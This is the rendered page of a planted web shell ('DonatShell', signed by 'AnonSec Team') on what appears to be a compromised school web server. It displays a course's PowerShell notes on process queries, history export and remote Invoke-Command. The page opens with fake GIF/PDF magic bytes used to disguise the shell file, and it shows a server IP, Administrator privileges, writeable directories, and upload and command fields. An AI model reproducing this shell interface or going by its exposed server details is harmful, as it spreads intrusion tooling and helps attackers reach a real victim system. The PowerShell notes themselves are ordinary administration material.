GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1861/Resources/Week/09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1861/Resources/Week/09/notes.txt
Get-History | Select-Object Id,Duration,CommandLine | Format-Table | ConvertTo-Html | Out-File get-history.html

Get-History | Select-Object Id,Duration,CommandLine | ConvertTo-Html | Out-File get-history-ok.html

Get-History | ConvertTo-Html | Out-File get-history-ok2.html

Get-Process | Format-Table Name,ID,
@{l='VirtualMB';e={$_.vm/1MB}},
@{l='PhysicalMB';e={$_.workingset/1MB}}

Get-Process | Format-Table Name,ID,vm,workingset


$gp | Format-Table Name,ID,
@{l='PhysicalMB';e={$_.workingset/1MB}}

$gp | Format-Table Name,ID,workingset

$gp | Where-Object -FilterScript {$_.WorkingSet -gt 100MB}

Get-Process |
Where-Object {$_.ProcessName -ne 'powershell' -and $_.ProcessName -ne 'pwsh'} |
Sort-Object vm |
Select-Object -Last 10 |
Measure-Object vm -Sum

# Get sum of memory use by top 10 proccess in MB
(Get-Process |
Where-Object {$_.ProcessName -ne 'powershell' -and $_.ProcessName -ne 'pwsh'} |
Sort-Object workingset |
Select-Object -Last 10 |
Measure-Object workingset -Sum).Sum / 1MB

# Get list of files in my Documents folder that are > 5BM
Get-ChildItem ~/Documents/* -Recurse | Where-Object {$_.length –gt 5MB}

# Get all microsoft modules from the gallery
Find-Module | Where-Object {$_.Author -like 'Microsoft*'}


# Get sum of memory use by  proccess in GB
(Get-Process | Sort-Object workingset | Measure-Object workingset -Sum).Sum / 1GB

# Set interfaces to Private
Set-NetConnectionProfile -InterfaceAlias Ethernet -NetworkCategory "Private"
Set-NetConnectionProfile -InterfaceAlias 'Ethernet 2' -NetworkCategory "Private"
#Start WinRM service (Windows Remote Management)

Enter-PSSession -HostName DESKTOP-46AVB2C

Invoke-Command -ComputerName DESKTOP-46AVB2C -ScriptBlock { Get-Process pwsh | Where-Object {$_.Parent.ProcessName -like '*term*'}}

Invoke-Command -ComputerName DESKTOP-46AVB2C -ScriptBlock { Get-Process pwsh }
Invoke-Command -ComputerName DESKTOP-46AVB2C -ScriptBlock { dir }

Invoke-Command -ComputerName DESKTOP-46AVB2C -ScriptBlock { Get-Process -name powershell | Stop-Process }

Anon7 - 2022
AnonSec Team